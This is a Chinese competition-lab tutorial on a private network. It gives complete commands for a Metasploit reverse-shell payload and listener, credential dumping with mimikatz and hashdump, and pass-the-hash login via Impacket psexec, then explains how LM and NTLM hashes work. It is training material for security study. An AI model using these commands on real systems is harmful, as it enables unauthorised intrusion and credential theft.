蓝桥杯-网络安全比赛(6) 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码

系统环境:主机(Windows系统 IP:192.168.126.129),虚拟机(KALI系统 IP:192.168.126.3),两者需要能通过本地网络互通互连。
攻击工具:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。

控制Windows系统

  1. 生成反弹型木马
    进入KALI系统,使用以下代码生成程序,反弹到的监听端地址为192.168.126.3,监听端口为12345,文件输出格式为exe并保存到当前路径\~
    msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.3 LPORT=12345 -f exe -o shell.exe
  1. 在本地通过GIT BASH或其它BASH程序使用SCP命令拉取代码到D盘根目录.
    scp root
scp root@192.168.126.3:/root/shell.exe /d
  1. 返回KALI,并开启监听程序
    exploit
msfconsole #进入Metasploit组件
use exploit/multi/handler #使用反向Shell模块,用于接收反弹的Shell
set paload windows/x64/meterpreter/reverse_tcp #它一种常见的Stagers Payload,它可以让目标系统与攻击者建立一条tcp连接
set lhost 192.168.126.3 #本地主机地址
set lport 12345 #端口号
exploit #启动
  1. 运行成功后,回到Windows电脑中,关闭杀毒软件、防火墙、间谍程序。
    关闭

  2. 在电脑里(右键管理员运行)打开刚刚的下载的那个shell.exe
    打开成功后即可在kali中看到效果如下:
    meterpreter

远程登录Windows

  1. 主机"以管理员身份运行"CMD.exe,接着启动administrator账户,并回到用户界面设置密码。
    administrator
net user administrator /active:yes
  1. 返回KALI系统的监听程序,尝试获取明文密码
    creds_all
load kiwi #载入kiwi (旧版名称: Mimikatz) 获取账户密码工具
getsystem #获取system权限(提权)
creds_all #获取所有明文密码

使用msf自带的mimikatz抓取密码,但可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了

  1. 尝试获取Hash密码
    hashdump

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。

  1. 这个时候我们可以用加密后的哈希登录:
    impact
python3 psexec.py Administrator@192.168.126.129 -hashes 密钥:密钥

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令

注意:在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。 这就是为什么一开始要先开启Windows账户。

Impacket 是一组用于处理网络协议的 Python 类。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。

思考

1. windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
2. 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
3. 为什么第一个模块 永远是一样的aad3?
4. 这两个模块的加密算法有什么不同,如何加密的?

解析登录密文

Windows系统为了安全考虑,并不会以明文形式存储用户的登录密码。这是一个非常重要的设计原则,因为如果密码以明文形式存储,那么任何能够访问存储位置的人或程序都可以轻易地获取到密码,这显然是不安全的。

登录流程

ntlm hash

  1. 首先,用户触发登录过程,winlogon.exe 进程检测到这一操作,并调用GINA来显示登录对话框,以供用户输入用户名和密码。

    INA负责收集和传递用户的身份验证信息。

  2. 接着,用户输入用户名和密码,并点击确定后,GINA(图形标识和身份验证)将这些信息发送给LSA(本地安全认证子系统)进行验证。

    LSA是Windows中负责身份验证的核心组件,它会根据配置和策略对用户进行验证。

  3. 在验证过程中,LSA可能会调用相应的验证程序包(如msv1_0.dll),对用户输入的信息进行处理,并与存储在SAM(安全账户管理器)数据库中的密钥进行对比。

    SAM数据库存储了用户的账户信息和密码哈希等关键数据。

  4. 如果对比结果显示用户有效,SAM会将用户的SID(安全标识符)以及用户所属用户组的SID等相关信息发送给LSA。

    SID是Windows系统中用于唯一标识用户和组的安全标识符。

  5. 随后,LSA根据收到的SID信息创建安全访问令牌,并将令牌的句柄和登录信息发送给winlogon进程。

    安全访问令牌是Windows用于控制对系统资源的访问权限的重要机制。

  6. 最后,winlogon进程对用户登录进行最后的处理,完成整个登录过程。此时,用户将看到Windows桌面,并可以开始使用系统。

存储过程

那么,Windows是如何存储用户密码的呢?

在用户输入密码进行登录时,Windows会采用一种或多种加密协议(如NTLM或Kerberos)对密码进行加密处理。
这些加密协议会将用户输入的明文密码转换成一种难以逆向解析的密文形式。
这样,即使有人能够访问到存储密码的位置,也无法直接获取到用户的明文密码。

SAM文件

接下来,我们来看看这些加密后的密码密文是存储在哪个文件下的。

在Windows系统中,用户登录密码的密文通常存储在

C:\Windows\System32\config\SAM

SAM文件下的SAM数据库中。

SAM数据库是Windows系统中用于存储账户安全信息的核心文件之一,它包含了用户的账户信息、密码哈希值等敏感数据。

那么,关于这个文件是否可以打开并查看到密文的问题,答案是一般情况下是不可以的。
SAM文件是系统级的文件,受到严格的权限限制,普通用户或程序是无法直接打开并查看其中的内容的。
即使具有管理员权限,直接打开SAM文件也会遇到困难,因为系统通常会显示“另一个程序正在使用此文件”或“进程无法访问”等提示。

然而渗透测试人员或安全研究人员可以通过Mimikatz打开SAM文件

Mimikatz是一款功能强大的安全工具,由Benjamin Delpy使用C语言编写。它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等敏感信息。
Mimikatz的强大之处在于它可以直接从lsass.exe进程中获取当前登录系统用户的密码。
lsass是Windows系统的安全机制,主要用于本地安全和登录策略。当你登录系统时,密码会存储在lsass内存中,经过可逆算法加密后存储。Mimikatz通过对lsass逆算,可以获取到明文密码。

hashdump

我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么。

hashdump是一种密码破解技术,它的原理是通过获取目标系统中的哈希值,然后利用各种手段将哈希值破解为明文密码。
hashdump
原因是因为从windows NT开始,windows采用的是NTLM Hash密码,因此hashdump为了区分不同版本的windows系统加密方式,才能正确地提取和分析密文。
第一个模块是LM Hash采用DES加密,第二个模块是NTLM Hash基于MD4加密算法。

LM Hash加密方式

为什么第一个模块 永远是一样的aad3?
  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。
  3. 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  4. 再分7bit为一组,每组末尾加0,再组成一组。

根据这个加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到LM hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位。
而我们这次看到的是两组aad3b435b51404ee aad3b435b51404ee,这一般代表密码为空或者LM Hash被禁用,分割的两组明文都无。

LM Hash(“LAN Manager Hash”) 是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。 尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows
Server 2008版本开始,Windows操作系统默认禁用LM Hash)。 LM Hash明文密码被限制在14位以内,如果LM Hash被禁用了,抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"。

NTLM Hash加密

NTLM(New Technology LAN Manager)身份验证协议是微软用于Windows身份验证的主要协议之一。
早期SMB协议以明文口令的形式在网络上传输,因此产生了安全性问题。
后来出现了LM(LAN Manager)身份验证协议,它是如此的简单以至于很容易被破解。
之后微软提出了NTLM身份验证协议,以及更新的NTLM V2版本。
NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。NTLM协议可以为SMB、HTTP、LDAP、SMTP等上层微软应用提供身份认证。

NTLM_Hash = md4(unicode(hex(password)))
  1. 先将用户密码转换为16进制格式。
  2. 再将16进制格式的字符串进行ASCII转Unicode编码。
  3. 最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/325542.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于EBAZ4205矿板的图像处理:12图像二值化(阈值可调)

基于EBAZ4205矿板的图像处理:12图像二值化(阈值可调) 我的项目是基于EBAZ4205矿板的阈值可调的图像阈值二值化处理,可以通过按键调整二值化的阈值,key1为阈值加1,key4为阈值减1,key2为阈值加10,key5为阈值…

java项目之校园失物招领系统(springboot+vue+mysql)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的校园失物招领系统。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 校园失物招领系统的主要…

如何更好地使用Kafka? - 运行监控篇

要确保Kafka在使用过程中的稳定性,需要从kafka在业务中的使用周期进行依次保障。主要可以分为:事先预防(通过规范的使用、开发,预防问题产生)、运行时监控(保障集群稳定,出问题能及时发现&#…

LLaMA 羊驼系大语言模型的前世今生

关于 LLaMA LLaMA是由Meta AI发布的大语言系列模型,完整的名字是Large Language Model Meta AI,直译:大语言模型元AI。Llama这个单词本身是指美洲大羊驼,所以社区也将这个系列的模型昵称为羊驼系模型。 Llama、Llama2 和 Llama3…

前端笔记-day02

文章目录 01-无序列表02-有序列表03-定义列表04-表格06-表格-合并单元格07-表单-input08-表单-input占位文本09-表单-单选框10-表单-上传多个文件11-表单-多选框12-表单-下拉菜单13-表单-文本域14-表单-label标签15-表单-按钮16-无语义-span和div17-字体实体19-注册登录页面 01…

2024中国(重庆)无人机展览会8月在重庆举办

2024中国(重庆)无人机展览会8月在重庆举办 邀请函 主办单位: 中国航空学会 重庆市南岸区人民政府 招商执行单位: 重庆港华展览有限公司 报名:【交易会I 59交易会2351交易会9466】 展会背景: 为更好的培养航空航天产业和无人…

基于STM32的IIC通信

IIC通信 • I2C(Inter IC Bus)是由Philips公司开发的一种通用数据总线 • 两根通信线:SCL(串行时钟线)、SDA(串行数据线) • 同步,半双工 • 带数据应答 • 支持总线挂载多…

maven远程仓库访问顺序

首先需要了解一下各个配置文件,主要分为三类: 全局配置文件(${maven.home}/conf/settings.xml),maven安装路径下的/conf/settings.xml用户配置文件(%USER_HOME%/.m2/settings.xml),windows用户文件夹下项目配置文件:p…

不错的招聘时候要注意的知识

来自《行为心理学在团队管理中的应用》行为心理学在团队管理中的应用_哔哩哔哩_bilibili

Docker 怎么将映射出的路径设置为非root用户权限

在Docker中,容器的根文件系统默认是由root用户拥有的。如果想要在映射到宿主机的路径时设置为非root用户权限,可以通过以下几种方式来实现: 1. 使用具有特定UID和GID的非root用户运行容器: 在运行容器时,你可以使用-u…

基于ChatGLM+Langchain离线搭建本地知识库(免费)

目录 简介 服务部署 实现本地知识库 测试 番外 简介 ChatGLM-6B是清华大学发布的一个开源的中英双语对话机器人。基于 General Language Model (GLM) 架构,具有 62 亿参数。结合模型量化技术,用户可以在消费级的显卡上进行本地部署(INT…

【C/C++】内存分布

本文第一部分主要介绍了程序内存区域的划分以及数据的存储。第二部分有一段代码和一些题目,全面直观得分析了程序中的数组在内存中的存储。 因为不同的数据有不同的存储需求,各区域满足不同的需求,所以程序内存会有区域的划分。 根据需求的不…

【活动】如何通过AI技术提升内容生产的效率与质量

🌈个人主页: 鑫宝Code 🔥热门专栏: 闲话杂谈| 炫酷HTML | JavaScript基础 ​💫个人格言: "如无必要,勿增实体" 文章目录 如何通过AI技术提升内容生产的效率与质量引言一、自然语言处理(NLP&…

Java设计模式 _结构型模式_外观模式

一、外观模式 1、外观模式 外观模式(Facade Pattern)是一种结构型模式。主要特点为隐藏系统的复杂性,并向客户端提供了一个客户端可以访问系统的接口。这有助于降低系统的复杂性,提高可维护性。当客户端与多个子系统之间存在大量…

Golang | Leetcode Golang题解之第78题子集

题目: 题解: func subsets(nums []int) (ans [][]int) {set : []int{}var dfs func(int)dfs func(cur int) {if cur len(nums) {ans append(ans, append([]int(nil), set...))return}set append(set, nums[cur])dfs(cur 1)set set[:len(set)-1]df…

SpringAMQP Work Queue 工作队列

消息模型: 代码模拟: 相较于之前的基础队列,该队列新增了消费者 不再是一个,所以我们通过代码模拟出两个consumer消费者。在原来的消费者类里写两个方法 其中消费者1效率高 消费者2效率低 RabbitListener(queues "simple.queue")public voi…

Java设计模式-工厂

Java设计模式中,工厂模式主要包括普通工厂模式以及抽象工厂模式,普通工厂模式是用于制造输出不同类型的对象,抽象工厂模式是用于制造输出不同类型的普通工厂,本文主要描述工厂模式的基本用法。 如上所示,使用普通工厂模…

某票星球网图标点选验证码YOLOV8识别案例

注意,本文只提供学习的思路,严禁违反法律以及破坏信息系统等行为,本文只提供思路 如有侵犯,请联系作者下架 图标点选验证码大家都不陌生了,我们来看下数据集 引言与个人想法 先说结论,本文采用的方法能够达到99的准确率,效果图如下 做图标点选其实方法有很多,有的…

鸿蒙 @builder 使用中的问题

在所有条件都相同的情况下,点击左边的 list更新右侧的list 方案一 使用builder ,右侧 list不会更新 方案二 直接写 list UI,右侧list会更新 所以,builder中的数据,无法双向绑定么 BuildergetTreeItemLayout(currentL…

智慧法治:AI技术如何赋能法律行业创新

🧑 作者简介:阿里巴巴嵌入式技术专家,深耕嵌入式人工智能领域,具备多年的嵌入式硬件产品研发管理经验。 📒 博客介绍:分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向…